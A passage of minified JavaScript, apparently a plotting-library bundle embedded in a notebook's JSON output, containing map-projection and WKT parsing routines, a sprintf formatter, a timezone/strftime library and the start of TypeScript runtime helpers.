i.push(!0),t[i[0].toLowerCase()]=i[1],t},{}),s={proj:\\\"projName\\\",datum:\\\"datumCode\\\",rf:function(t){r.rf=parseFloat(t)},lat_0:function(t){r.lat0=t*a},lat_1:function(t){r.lat1=t*a},lat_2:function(t){r.lat2=t*a},lat_ts:function(t){r.lat_ts=t*a},lon_0:function(t){r.long0=t*a},lon_1:function(t){r.long1=t*a},lon_2:function(t){r.long2=t*a},alpha:function(t){r.alpha=parseFloat(t)*a},lonc:function(t){r.longc=t*a},x_0:function(t){r.x0=parseFloat(t)},y_0:function(t){r.y0=parseFloat(t)},k_0:function(t){r.k0=parseFloat(t)},k:function(t){r.k0=parseFloat(t)},a:function(t){r.a=parseFloat(t)},b:function(t){r.b=parseFloat(t)},r_a:function(){r.R_A=!0},zone:function(t){r.zone=parseInt(t,10)},south:function(){r.utmSouth=!0},towgs84:function(t){r.datum_params=t.split(\\\",\\\").map(function(t){return parseFloat(t)})},to_meter:function(t){r.to_meter=parseFloat(t)},units:function(t){r.units=t,h[t]&&(r.to_meter=h[t].to_meter)},from_greenwich:function(t){r.from_greenwich=t*a},pm:function(t){r.from_greenwich=(l[t]?l[t]:parseFloat(t))*a},nadgrids:function(t){\\\"@null\\\"===t?r.datumCode=\\\"none\\\":r.nadgrids=t},axis:function(t){var e=\\\"ewnsud\\\";3===t.length&&-1!==e.indexOf(t.substr(0,1))&&-1!==e.indexOf(t.substr(1,1))&&-1!==e.indexOf(t.substr(2,1))&&(r.axis=t)}};for(e in o)i=o[e],e in s?\\\"function\\\"==typeof(n=s[e])?n(i):r[n]=i:r[e]=i;return\\\"string\\\"==typeof r.datumCode&&\\\"WGS84\\\"!==r.datumCode&&(r.datumCode=r.datumCode.toLowerCase()),r}},function(t,e,i){var n=[t(386),t(385)],r={},o=[];function s(t,e){var i=o.length;return t.names?((o[i]=t).names.forEach(function(t){r[t.toLowerCase()]=i}),this):(console.log(e),!0)}i.add=s,i.get=function(t){if(!t)return!1;var e=t.toLowerCase();return void 0!==r[e]&&o[r[e]]?o[r[e]]:void 0},i.start=function(){n.forEach(s)}},function(t,e,i){function n(t){return t}i.init=function(){},i.forward=n,i.inverse=n,i.names=[\\\"longlat\\\",\\\"identity\\\"]},function(t,e,i){var n=t(365),a=Math.PI/2,l=57.29577951308232,h=t(364),u=Math.PI/4,c=t(369),s=t(366);i.init=function(){var t=this.b/this.a;this.es=1-t*t,\\\"x0\\\"in this||(this.x0=0),\\\"y0\\\"in this||(this.y0=0),this.e=Math.sqrt(this.es),this.lat_ts?this.sphere?this.k0=Math.cos(this.lat_ts):this.k0=n(this.e,Math.sin(this.lat_ts),Math.cos(this.lat_ts)):this.k0||(this.k?this.k0=this.k:this.k0=1)},i.forward=function(t){var e,i,n=t.x,r=t.y;if(90<r*l&&r*l<-90&&180<n*l&&n*l<-180)return null;if(Math.abs(Math.abs(r)-a)<=1e-10)return null;if(this.sphere)e=this.x0+this.a*this.k0*h(n-this.long0),i=this.y0+this.a*this.k0*Math.log(Math.tan(u+.5*r));else{var o=Math.sin(r),s=c(this.e,r,o);e=this.x0+this.a*this.k0*h(n-this.long0),i=this.y0-this.a*this.k0*Math.log(s)}return t.x=e,t.y=i,t},i.inverse=function(t){var e,i,n=t.x-this.x0,r=t.y-this.y0;if(this.sphere)i=a-2*Math.atan(Math.exp(-r/(this.a*this.k0)));else{var o=Math.exp(-r/(this.a*this.k0));if(-9999===(i=s(this.e,o)))return null}return e=h(this.long0+n/(this.a*this.k0)),t.x=e,t.y=i,t},i.names=[\\\"Mercator\\\",\\\"Popular Visualisation Pseudo Mercator\\\",\\\"Mercator_1SP\\\",\\\"Mercator_Auxiliary_Sphere\\\",\\\"merc\\\"]},function(t,e,i){var a=.017453292519943295,l=57.29577951308232,h=t(377),u=t(363),c=t(362),_=t(368);e.exports=function t(e,i,n){var r,o,s;return Array.isArray(n)&&(n=_(n)),e.datum&&i.datum&&(s=i,(1===(o=e).datum.datum_type||2===o.datum.datum_type)&&\\\"WGS84\\\"!==s.datumCode||(1===s.datum.datum_type||2===s.datum.datum_type)&&\\\"WGS84\\\"!==o.datumCode)&&(r=new c(\\\"WGS84\\\"),n=t(e,r,n),e=r),\\\"enu\\\"!==e.axis&&(n=u(e,!1,n)),\\\"longlat\\\"===e.projName?n={x:n.x*a,y:n.y*a}:(e.to_meter&&(n={x:n.x*e.to_meter,y:n.y*e.to_meter}),n=e.inverse(n)),e.from_greenwich&&(n.x+=e.from_greenwich),n=h(e.datum,i.datum,n),i.from_greenwich&&(n={x:n.x-i.grom_greenwich,y:n.y}),\\\"longlat\\\"===i.projName?n={x:n.x*l,y:n.y*l}:(n=i.forward(n),i.to_meter&&(n={x:n.x/i.to_meter,y:n.y/i.to_meter})),\\\"enu\\\"!==i.axis?u(i,!0,n):n}},function(t,e,i){var n=.017453292519943295,s=t(380);function r(t,e,i){t[e]=i.map(function(t){var e={};return a(t,e),e}).reduce(function(t,e){return s(t,e)},{})}function a(t,e){var i;Array.isArray(t)?(\\\"PARAMETER\\\"===(i=t.shift())&&(i=t.shift()),1===t.length?Array.isArray(t[0])?(e[i]={},a(t[0],e[i])):e[i]=t[0]:t.length?\\\"TOWGS84\\\"===i?e[i]=t:(e[i]={},-1<[\\\"UNIT\\\",\\\"PRIMEM\\\",\\\"VERT_DATUM\\\"].indexOf(i)?(e[i]={name:t[0].toLowerCase(),convert:t[1]},3===t.length&&(e[i].auth=t[2])):\\\"SPHEROID\\\"===i?(e[i]={name:t[0],a:t[1],rf:t[2]},4===t.length&&(e[i].auth=t[3])):-1<[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"DATUM\\\",\\\"VERT_CS\\\",\\\"COMPD_CS\\\",\\\"LOCAL_CS\\\",\\\"FITTED_CS\\\",\\\"LOCAL_DATUM\\\"].indexOf(i)?(t[0]=[\\\"name\\\",t[0]],r(e,i,t)):t.every(function(t){return Array.isArray(t)})?r(e,i,t):a(t,e[i])):e[i]=!0):e[t]=!0}function l(t){return t*n}e.exports=function(t,e){var i=JSON.parse((\\\",\\\"+t).replace(/\\\\s*\\\\,\\\\s*([A-Z_0-9]+?)(\\\\[)/g,',[\\\"$1\\\",').slice(1).replace(/\\\\s*\\\\,\\\\s*([A-Z_0-9]+?)\\\\]/g,',\\\"$1\\\"]').replace(/,\\\\[\\\"VERTCS\\\".+/,\\\"\\\")),n=i.shift(),r=i.shift();i.unshift([\\\"name\\\",r]),i.unshift([\\\"type\\\",n]),i.unshift(\\\"output\\\");var o={};return a(i,o),function(o){function t(t){var e=o.to_meter||1;return parseFloat(t,10)*e}\\\"GEOGCS\\\"===o.type?o.projName=\\\"longlat\\\":\\\"LOCAL_CS\\\"===o.type?(o.projName=\\\"identity\\\",o.local=!0):\\\"object\\\"==typeof o.PROJECTION?o.projName=Object.keys(o.PROJECTION)[0]:o.projName=o.PROJECTION,o.UNIT&&(o.units=o.UNIT.name.toLowerCase(),\\\"metre\\\"===o.units&&(o.units=\\\"meter\\\"),o.UNIT.convert&&(\\\"GEOGCS\\\"===o.type?o.DATUM&&o.DATUM.SPHEROID&&(o.to_meter=parseFloat(o.UNIT.convert,10)*o.DATUM.SPHEROID.a):o.to_meter=parseFloat(o.UNIT.convert,10))),o.GEOGCS&&(o.GEOGCS.DATUM?o.datumCode=o.GEOGCS.DATUM.name.toLowerCase():o.datumCode=o.GEOGCS.name.toLowerCase(),\\\"d_\\\"===o.datumCode.slice(0,2)&&(o.datumCode=o.datumCode.slice(2)),\\\"new_zealand_geodetic_datum_1949\\\"!==o.datumCode&&\\\"new_zealand_1949\\\"!==o.datumCode||(o.datumCode=\\\"nzgd49\\\"),\\\"wgs_1984\\\"===o.datumCode&&(\\\"Mercator_Auxiliary_Sphere\\\"===o.PROJECTION&&(o.sphere=!0),o.datumCode=\\\"wgs84\\\"),\\\"_ferro\\\"===o.datumCode.slice(-6)&&(o.datumCode=o.datumCode.slice(0,-6)),\\\"_jakarta\\\"===o.datumCode.slice(-8)&&(o.datumCode=o.datumCode.slice(0,-8)),~o.datumCode.indexOf(\\\"belge\\\")&&(o.datumCode=\\\"rnb72\\\"),o.GEOGCS.DATUM&&o.GEOGCS.DATUM.SPHEROID&&(o.ellps=o.GEOGCS.DATUM.SPHEROID.name.replace(\\\"_19\\\",\\\"\\\").replace(/[Cc]larke\\\\_18/,\\\"clrk\\\"),\\\"international\\\"===o.ellps.toLowerCase().slice(0,13)&&(o.ellps=\\\"intl\\\"),o.a=o.GEOGCS.DATUM.SPHEROID.a,o.rf=parseFloat(o.GEOGCS.DATUM.SPHEROID.rf,10)),~o.datumCode.indexOf(\\\"osgb_1936\\\")&&(o.datumCode=\\\"osgb36\\\")),o.b&&!isFinite(o.b)&&(o.b=o.a),[[\\\"standard_parallel_1\\\",\\\"Standard_Parallel_1\\\"],[\\\"standard_parallel_2\\\",\\\"Standard_Parallel_2\\\"],[\\\"false_easting\\\",\\\"False_Easting\\\"],[\\\"false_northing\\\",\\\"False_Northing\\\"],[\\\"central_meridian\\\",\\\"Central_Meridian\\\"],[\\\"latitude_of_origin\\\",\\\"Latitude_Of_Origin\\\"],[\\\"latitude_of_origin\\\",\\\"Central_Parallel\\\"],[\\\"scale_factor\\\",\\\"Scale_Factor\\\"],[\\\"k0\\\",\\\"scale_factor\\\"],[\\\"latitude_of_center\\\",\\\"Latitude_of_center\\\"],[\\\"lat0\\\",\\\"latitude_of_center\\\",l],[\\\"longitude_of_center\\\",\\\"Longitude_Of_Center\\\"],[\\\"longc\\\",\\\"longitude_of_center\\\",l],[\\\"x0\\\",\\\"false_easting\\\",t],[\\\"y0\\\",\\\"false_northing\\\",t],[\\\"long0\\\",\\\"central_meridian\\\",l],[\\\"lat0\\\",\\\"latitude_of_origin\\\",l],[\\\"lat0\\\",\\\"standard_parallel_1\\\",l],[\\\"lat1\\\",\\\"standard_parallel_1\\\",l],[\\\"lat2\\\",\\\"standard_parallel_2\\\",l],[\\\"alpha\\\",\\\"azimuth\\\",l],[\\\"srsCode\\\",\\\"name\\\"]].forEach(function(t){return e=o,n=(i=t)[0],r=i[1],void(!(n in e)&&r in e&&(e[n]=e[r],3===i.length&&(e[n]=i[2](e[n]))));var e,i,n,r}),o.long0||!o.longc||\\\"Albers_Conic_Equal_Area\\\"!==o.projName&&\\\"Lambert_Azimuthal_Equal_Area\\\"!==o.projName||(o.long0=o.longc),o.lat_ts||!o.lat1||\\\"Stereographic_South_Pole\\\"!==o.projName&&\\\"Polar Stereographic (variant B)\\\"!==o.projName||(o.lat0=l(0<o.lat1?90:-90),o.lat_ts=o.lat1)}(o.output),s(e,o.output)}},function(t,e,i){!function(){\\\"use strict\\\";var d={not_string:/[^s]/,not_bool:/[^t]/,not_type:/[^T]/,not_primitive:/[^v]/,number:/[diefg]/,numeric_arg:/[bcdiefguxX]/,json:/[j]/,not_json:/[^j]/,text:/^[^\\\\x25]+/,modulo:/^\\\\x25{2}/,placeholder:/^\\\\x25(?:([1-9]\\\\d*)\\\\$|\\\\(([^\\\\)]+)\\\\))?(\\\\+)?(0|'[^$])?(-)?(\\\\d+)?(?:\\\\.(\\\\d+))?([b-gijostTuvxX])/,key:/^([a-z_][a-z_\\\\d]*)/i,key_access:/^\\\\.([a-z_][a-z_\\\\d]*)/i,index_access:/^\\\\[(\\\\d+)\\\\]/,sign:/^[\\\\+\\\\-]/};function f(t){return function(t,e){var i,n,r,o,s,a,l,h,u,c=1,_=t.length,p=\\\"\\\";for(n=0;n<_;n++)if(\\\"string\\\"==typeof t[n])p+=t[n];else if(Array.isArray(t[n])){if((o=t[n])[2])for(i=e[c],r=0;r<o[2].length;r++){if(!i.hasOwnProperty(o[2][r]))throw new Error(f('[sprintf] property \\\"%s\\\" does not exist',o[2][r]));i=i[o[2][r]]}else i=o[1]?e[o[1]]:e[c++];if(d.not_type.test(o[8])&&d.not_primitive.test(o[8])&&i instanceof Function&&(i=i()),d.numeric_arg.test(o[8])&&\\\"number\\\"!=typeof i&&isNaN(i))throw new TypeError(f(\\\"[sprintf] expecting number but found %T\\\",i));switch(d.number.test(o[8])&&(h=0<=i),o[8]){case\\\"b\\\":i=parseInt(i,10).toString(2);break;case\\\"c\\\":i=String.fromCharCode(parseInt(i,10));break;case\\\"d\\\":case\\\"i\\\":i=parseInt(i,10);break;case\\\"j\\\":i=JSON.stringify(i,null,o[6]?parseInt(o[6]):0);break;case\\\"e\\\":i=o[7]?parseFloat(i).toExponential(o[7]):parseFloat(i).toExponential();break;case\\\"f\\\":i=o[7]?parseFloat(i).toFixed(o[7]):parseFloat(i);break;case\\\"g\\\":i=o[7]?String(Number(i.toPrecision(o[7]))):parseFloat(i);break;case\\\"o\\\":i=(parseInt(i,10)>>>0).toString(8);break;case\\\"s\\\":i=String(i),i=o[7]?i.substring(0,o[7]):i;break;case\\\"t\\\":i=String(!!i),i=o[7]?i.substring(0,o[7]):i;break;case\\\"T\\\":i=Object.prototype.toString.call(i).slice(8,-1).toLowerCase(),i=o[7]?i.substring(0,o[7]):i;break;case\\\"u\\\":i=parseInt(i,10)>>>0;break;case\\\"v\\\":i=i.valueOf(),i=o[7]?i.substring(0,o[7]):i;break;case\\\"x\\\":i=(parseInt(i,10)>>>0).toString(16);break;case\\\"X\\\":i=(parseInt(i,10)>>>0).toString(16).toUpperCase()}d.json.test(o[8])?p+=i:(!d.number.test(o[8])||h&&!o[3]?u=\\\"\\\":(u=h?\\\"+\\\":\\\"-\\\",i=i.toString().replace(d.sign,\\\"\\\")),a=o[4]?\\\"0\\\"===o[4]?\\\"0\\\":o[4].charAt(1):\\\" \\\",l=o[6]-(u+i).length,s=o[6]&&0<l?a.repeat(l):\\\"\\\",p+=o[5]?u+i+s:\\\"0\\\"===a?u+s+i:s+u+i)}return p}(function(t){if(l[t])return l[t];for(var e,i=t,n=[],r=0;i;){if(null!==(e=d.text.exec(i)))n.push(e[0]);else if(null!==(e=d.modulo.exec(i)))n.push(\\\"%\\\");else{if(null===(e=d.placeholder.exec(i)))throw new SyntaxError(\\\"[sprintf] unexpected placeholder\\\");if(e[2]){r|=1;var o=[],s=e[2],a=[];if(null===(a=d.key.exec(s)))throw new SyntaxError(\\\"[sprintf] failed to parse named argument key\\\");for(o.push(a[1]);\\\"\\\"!==(s=s.substring(a[0].length));)if(null!==(a=d.key_access.exec(s)))o.push(a[1]);else{if(null===(a=d.index_access.exec(s)))throw new SyntaxError(\\\"[sprintf] failed to parse named argument key\\\");o.push(a[1])}e[2]=o}else r|=2;if(3===r)throw new Error(\\\"[sprintf] mixing positional and named placeholders is not (yet) supported\\\");n.push(e)}i=i.substring(e[0].length)}return l[t]=n}(t),arguments)}function t(t,e){return f.apply(null,[t].concat(e||[]))}var l=Object.create(null);void 0!==i&&(i.sprintf=f,i.vsprintf=t),\\\"undefined\\\"!=typeof window&&(window.sprintf=f,window.vsprintf=t)}()},function(t,e,i){!function(t){\\\"object\\\"==typeof e&&e.exports?e.exports=t():this.tz=t()}(function(){function d(t,e,i){for(var n,r=e.day[1];n=new Date(Date.UTC(i,e.month,Math.abs(r++))),e.day[0]<7&&n.getUTCDay()!=e.day[0];);return(n={clock:e.clock,sort:n.getTime(),rule:e,save:6e4*e.save,offset:t.offset})[n.clock]=n.sort+6e4*e.time,n.posix?n.wallclock=n[n.clock]+(t.offset+e.saved):n.posix=n[n.clock]-(t.offset+e.saved),n}function r(t,e,i){var n,r,o,s,a,l,h,u=t[t.zone],c=[],_=new Date(i).getUTCFullYear(),p=1;for(n=1,r=u.length;n<r&&!(u[n][e]<=i);n++);if((o=u[n]).rules){for(l=t[o.rules],h=_+1;_-p<=h;--h)for(n=0,r=l.length;n<r;n++)l[n].from<=h&&h<=l[n].to?c.push(d(o,l[n],h)):l[n].to<h&&1==p&&(p=h-l[n].to);for(c.sort(function(t,e){return t.sort-e.sort}),n=0,r=c.length;n<r;n++)i>=c[n][e]&&c[n][c[n].clock]>o[c[n].clock]&&(s=c[n])}return s&&((a=/^(.*)\\\\/(.*)$/.exec(o.format))?s.abbrev=a[s.save?2:1]:s.abbrev=o.format.replace(/%s/,s.rule.letter)),s||o}function a(t,e){return\\\"UTC\\\"==t.zone?e:(t.entry=r(t,\\\"posix\\\",e),e+t.entry.offset+t.entry.save)}function c(t,e){return\\\"UTC\\\"==t.zone?e:(t.entry=i=r(t,\\\"wallclock\\\",e),0<(n=e-i.wallclock)&&n<i.save?null:e-i.offset-i.save);var i,n}function o(t,e,i){var n,r=+(i[1]+1),o=i[2]*r,s=l.indexOf(i[3].toLowerCase());if(9<s)e+=o*h[s-10];else{if(n=new Date(a(t,e)),s<7)for(;o;)n.setUTCDate(n.getUTCDate()+r),n.getUTCDay()==s&&(o-=r);else 7==s?n.setUTCFullYear(n.getUTCFullYear()+o):8==s?n.setUTCMonth(n.getUTCMonth()+o):n.setUTCDate(n.getUTCDate()+o);null==(e=c(t,n.getTime()))&&(e=c(t,n.getTime()+864e5*r)-864e5*r)}return e}var e={clock:function(){return+new Date},zone:\\\"UTC\\\",entry:{abbrev:\\\"UTC\\\",offset:0,save:0},UTC:1,z:function(t,e,i,n){var r,o,s=this.entry.offset+this.entry.save,a=Math.abs(s/1e3),l=[],h=3600;for(r=0;r<3;r++)l.push((\\\"0\\\"+Math.floor(a/h)).slice(-2)),a%=h,h/=60;return\\\"^\\\"!=i||s?(\\\"^\\\"==i&&(n=3),3==n?(o=(o=l.join(\\\":\\\")).replace(/:00$/,\\\"\\\"),\\\"^\\\"!=i&&(o=o.replace(/:00$/,\\\"\\\"))):n?(o=l.slice(0,n+1).join(\\\":\\\"),\\\"^\\\"==i&&(o=o.replace(/:00$/,\\\"\\\"))):o=l.slice(0,2).join(\\\"\\\"),o=(o=(s<0?\\\"-\\\":\\\"+\\\")+o).replace(/([-+])(0)/,{_:\\\" $1\\\",\\\"-\\\":\\\"$1\\\"}[i]||\\\"$1$2\\\")):\\\"Z\\\"},\\\"%\\\":function(t){return\\\"%\\\"},n:function(t){return\\\"\\\\n\\\"},t:function(t){return\\\"\\\\t\\\"},U:function(t){return u(t,0)},W:function(t){return u(t,1)},V:function(t){return i(t)[0]},G:function(t){return i(t)[1]},g:function(t){return i(t)[1]%100},j:function(t){return Math.floor((t.getTime()-Date.UTC(t.getUTCFullYear(),0))/864e5)+1},s:function(t){return Math.floor(t.getTime()/1e3)},C:function(t){return Math.floor(t.getUTCFullYear()/100)},N:function(t){return t.getTime()%1e3*1e6},m:function(t){return t.getUTCMonth()+1},Y:function(t){return t.getUTCFullYear()},y:function(t){return t.getUTCFullYear()%100},H:function(t){return t.getUTCHours()},M:function(t){return t.getUTCMinutes()},S:function(t){return t.getUTCSeconds()},e:function(t){return t.getUTCDate()},d:function(t){return t.getUTCDate()},u:function(t){return t.getUTCDay()||7},w:function(t){return t.getUTCDay()},l:function(t){return t.getUTCHours()%12||12},I:function(t){return t.getUTCHours()%12||12},k:function(t){return t.getUTCHours()},Z:function(t){return this.entry.abbrev},a:function(t){return this[this.locale].day.abbrev[t.getUTCDay()]},A:function(t){return this[this.locale].day.full[t.getUTCDay()]},h:function(t){return this[this.locale].month.abbrev[t.getUTCMonth()]},b:function(t){return this[this.locale].month.abbrev[t.getUTCMonth()]},B:function(t){return this[this.locale].month.full[t.getUTCMonth()]},P:function(t){return this[this.locale].meridiem[Math.floor(t.getUTCHours()/12)].toLowerCase()},p:function(t){return this[this.locale].meridiem[Math.floor(t.getUTCHours()/12)]},R:function(t,e){return this.convert([e,\\\"%H:%M\\\"])},T:function(t,e){return this.convert([e,\\\"%H:%M:%S\\\"])},D:function(t,e){return this.convert([e,\\\"%m/%d/%y\\\"])},F:function(t,e){return this.convert([e,\\\"%Y-%m-%d\\\"])},x:function(t,e){return this.convert([e,this[this.locale].date])},r:function(t,e){return this.convert([e,this[this.locale].time12||\\\"%I:%M:%S\\\"])},X:function(t,e){return this.convert([e,this[this.locale].time24])},c:function(t,e){return this.convert([e,this[this.locale].dateTime])},convert:function(t){if(!t.length)return\\\"1.0.13\\\";var e,i,l,n,h,u=Object.create(this),r=[];for(e=0;e<t.length;e++)if(n=t[e],Array.isArray(n))e||isNaN(n[1])?n.splice.apply(t,[e--,1].concat(n)):h=n;else if(isNaN(n)){if(\\\"string\\\"==(l=typeof n))~n.indexOf(\\\"%\\\")?u.format=n:e||\\\"*\\\"!=n?!e&&(l=/^(\\\\d{4})-(\\\\d{2})-(\\\\d{2})(?:[T\\\\s](\\\\d{2}):(\\\\d{2})(?::(\\\\d{2})(?:\\\\.(\\\\d+))?)?(Z|(([+-])(\\\\d{2}(:\\\\d{2}){0,2})))?)?$/.exec(n))?((h=[]).push.apply(h,l.slice(1,8)),l[9]?(h.push(l[10]+1),h.push.apply(h,l[11].split(/:/))):l[8]&&h.push(1)):/^\\\\w{2,3}_\\\\w{2}$/.test(n)?u.locale=n:(l=s.exec(n))?r.push(l):u.zone=n:h=n;else if(\\\"function\\\"==l){if(l=n.call(u))return l}else if(/^\\\\w{2,3}_\\\\w{2}$/.test(n.name))u[n.name]=n;else if(n.zones){for(l in n.zones)u[l]=n.zones[l];for(l in n.rules)u[l]=n.rules[l]}}else e||(h=n);if(u[u.locale]||delete u.locale,u[u.zone]||delete u.zone,null!=h){if(\\\"*\\\"==h)h=u.clock();else if(Array.isArray(h)){for(l=[],i=!h[7],e=0;e<11;e++)l[e]=+(h[e]||0);--l[1],h=Date.UTC.apply(Date.UTC,l)+-l[7]*(36e5*l[8]+6e4*l[9]+1e3*l[10])}else h=Math.floor(h);if(!isNaN(h)){if(i&&(h=c(u,h)),null==h)return h;for(e=0,i=r.length;e<i;e++)h=o(u,h,r[e]);return u.format?(l=new Date(a(u,h)),u.format.replace(/%([-0_^]?)(:{0,3})(\\\\d*)(.)/g,function(t,e,i,n,r){var o,s,a=\\\"0\\\";if(o=u[r]){for(t=String(o.call(u,l,h,e,i.length)),\\\"_\\\"==(e||o.style)&&(a=\\\" \\\"),s=\\\"-\\\"==e?0:o.pad||0;t.length<s;)t=a+t;for(s=\\\"-\\\"==e?0:n||o.pad;t.length<s;)t=a+t;\\\"N\\\"==r&&s<t.length&&(t=t.slice(0,s)),\\\"^\\\"==e&&(t=t.toUpperCase())}return t})):h}}return function(){return u.convert(arguments)}},locale:\\\"en_US\\\",en_US:{date:\\\"%m/%d/%Y\\\",time24:\\\"%I:%M:%S %p\\\",time12:\\\"%I:%M:%S %p\\\",dateTime:\\\"%a %d %b %Y %I:%M:%S %p %Z\\\",meridiem:[\\\"AM\\\",\\\"PM\\\"],month:{abbrev:\\\"Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec\\\".split(\\\"|\\\"),full:\\\"January|February|March|April|May|June|July|August|September|October|November|December\\\".split(\\\"|\\\")},day:{abbrev:\\\"Sun|Mon|Tue|Wed|Thu|Fri|Sat\\\".split(\\\"|\\\"),full:\\\"Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday\\\".split(\\\"|\\\")}}},l=\\\"Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|year|month|day|hour|minute|second|millisecond\\\",s=new RegExp(\\\"^\\\\\\\\s*([+-])(\\\\\\\\d+)\\\\\\\\s+(\\\"+l+\\\")s?\\\\\\\\s*$\\\",\\\"i\\\"),h=[36e5,6e4,1e3,1];function u(t,e){var i,n,r;return n=new Date(Date.UTC(t.getUTCFullYear(),0)),i=Math.floor((t.getTime()-n.getTime())/864e5),n.getUTCDay()==e?r=0:8==(r=7-n.getUTCDay()+e)&&(r=1),r<=i?Math.floor((i-r)/7)+1:0}function i(t){var e,i,n;return i=t.getUTCFullYear(),e=new Date(Date.UTC(i,0)).getUTCDay(),(n=u(t,1)+(1<e&&e<=4?1:0))?53!=n||4==e||3==e&&29==new Date(i,1,29).getDate()?[n,t.getUTCFullYear()]:[1,t.getUTCFullYear()+1]:(i=t.getUTCFullYear()-1,e=new Date(Date.UTC(i,0)).getUTCDay(),[n=4==e||3==e&&29==new Date(i,1,29).getDate()?53:52,t.getUTCFullYear()-1])}return l=l.toLowerCase().split(\\\"|\\\"),\\\"delmHMSUWVgCIky\\\".replace(/./g,function(t){e[t].pad=2}),e.N.pad=9,e.j.pad=3,e.k.style=\\\"_\\\",e.l.style=\\\"_\\\",e.e.style=\\\"_\\\",function(){return e.convert(arguments)}})},function(t,n,e){\\n\",\n       \"      /*! *****************************************************************************\\n\",\n       \"          Copyright (c) Microsoft Corporation. All rights reserved.\\n\",\n       \"          Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); you may not use\\n\",\n       \"          this file except in compliance with the License. You may obtain a copy of the\\n\",\n       \"          License at http://www.apache.org/licenses/LICENSE-2.0\\n\",\n       \"          \\n\",\n       \"          THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\\n\",\n       \"          KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED\\n\",\n       \"          WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,\\n\",\n       \"          MERCHANTABLITY OR NON-INFRINGEMENT.\\n\",\n       \"          \\n\",\n       \"          See the Apache Version 2.0 License for specific language governing permissions\\n\",\n       \"          and limitations under the License.\\n\",\n       \"          ***************************************************************************** */\\n\",\n       \"      var i,r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x;!function(t){var e=\\\"object\\\"==typeof global?global:\\\"object\\\"==typeof self?self:\\\"object\\\"==typeof this?this:{};function i(i,n){return i!==e&&(\\\"function\\\"==typeof Object.create?Object.defineProperty(i,\\\"__esModule\\\",{value:!0}):i.__esModule=!0),function(t,e){return i[t]=n?n(t,e):e}}\\\"object\\\"==typeof n&&\\\"object\\\"==typeof n.exports?t(i(e,i(n.exports))):t(i(e))}(function(t){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])};i=function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)},r=Object.assign||function(t){for(var e,i=1,n=arguments.length;i<n;i++)for(var r in e=arguments[i])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t},o=function(t,e){var i={};for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&e.indexOf(n)<0&&(i[n]=t[n]);if(null!=t&&\\\"function\\\"==typeof Object.getOwnPropertySymbols)for(var r=0,n=Object.getOwnPropertySymbols(t);r<n.length;r++)e.indexOf(n[r])<0&&(i[n[r]]=t[n[r]]);return i},s=function(t,e,i,n){var r,o=arguments.length,s=o<3?e:null===n?n=Object.getOwnPropertyDescriptor(e,i):n;if(\\\"object\\\"==typeof Reflect&&\\\"function\\\"==typeof Reflect.decorate)s=Reflect.decorate(t,e,i,n);else for(var a=t.length-1;0<=a;a--)(r=t[a])&&(s=(o<3?r(s):3<o?r(e,i,s):r(e,i))||s);return 3<o&&s&&Object.defineProperty(e,i,s),s},a=function(i,n){return function(t,e){n(t,e,i)}},l=function(t,e){if(\\\"object\\\"==typeof Reflect&&\\\"function\\\"==typeof Reflect.metadata)return Reflect.metadata(t,e)},h=function(o,s,a,l){return new(a||(a=Promise))(function(t,e){function i(t){try{r(l.next(t))}catch(t){e(t)}}function n(t){try{r(l.throw(t))}catch(t){e(t)}}function r(e){e.done?t(e.value):new a(function(t){t(e.value)}).then(i,n)}r((l=l.apply(o,s||[])).next())})},u=function(i,n){var r,o,s,t,a={label:0,sent:function(){if(1&s[0])throw s[1];return s[1]},trys:[],ops:[]};return t={next:e(0),throw:e(1),return:e(2)},\\\"function\\\"==typeof Symbol&&(t[Symbol.iterator]=function(){return this}),t;function e(e){return function(t){return function(e){if(r)throw new TypeError(\\\"Generator is already executing.\\\");for(;a;)try{if(r=1,o&&(s=2&e[0]?o.return:e[0]?o.throw||((s=o.return)&&s.call(o),0):o.next)&&!(s=s.call(o,e[1])).done)return s;switch(o=0,s&&(e=[2&e[0],s.value]),e[0]){case 0:case 1:s=e;break;case 4:return a.label++,{value:e[1],done:!1};case 5:a.label++,o=e[1],e=[0];continue;case 7:e=a.ops.pop(),a.trys.pop();continue;default:if(!(s=0<(s=a.trys).length&&s[s.length-1])&&(6===e[0]||2===e[0])){a=0;continue}if(3===e[0]&&(!s||e[1]>s[0]&&e[1]<s[3])){a.label=e[1];break}if(6===e[0]&&a.label<s[1]){a.label=s[1],s=e;break}if(s&&a.label<s[2]){a.label=s[2],a.ops.push(e);break}s[2]&&a.ops.pop(),a.trys.pop();continue}e=n.call(i,a)}catch(t){e=[6,t],o=0}finally{r=s=0}if(5&e[0])throw e[1];return{value:e[0]?e[1]:void 0,done:!0}}([e,t])}}},c=function(t,e){for(var i in t)e.hasOwnProperty(i)||(e[i]=t[i])},_=function(t){var e=\\\"function\\\"==typeof Symbol&&t[Symbol.iterator],i=0;return e?e.call(t):{next:function(){return t&&i>=t.length&&(t=void 0),{value:t&&t[i++],done:!t}}}},p=function(t,e){var i=\\\"function\\\"==typeof Symbol&&t[Symbol.iterator];if(!i)return t;var n,r,o=i.call(t),s=[];try{for(;(void 0===e||0<e--)&&!(n=o.next()).done;)s.push(n.value)}catch(t){r={error:t}}finally{try{n&&!n.done&&(i=o.return)&&i.call(o)}finally{if(r)throw r.error}}return s},d=function(){for(var t=[],e=0;e<arguments.length;e++)t=t.concat(p(arguments[e]));return t},f=function(t){return this instanceof f?(this.v=t,this):new f(t)},v=function(t,e,i){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var r,o=i.apply(t,e||[]),s=[];return 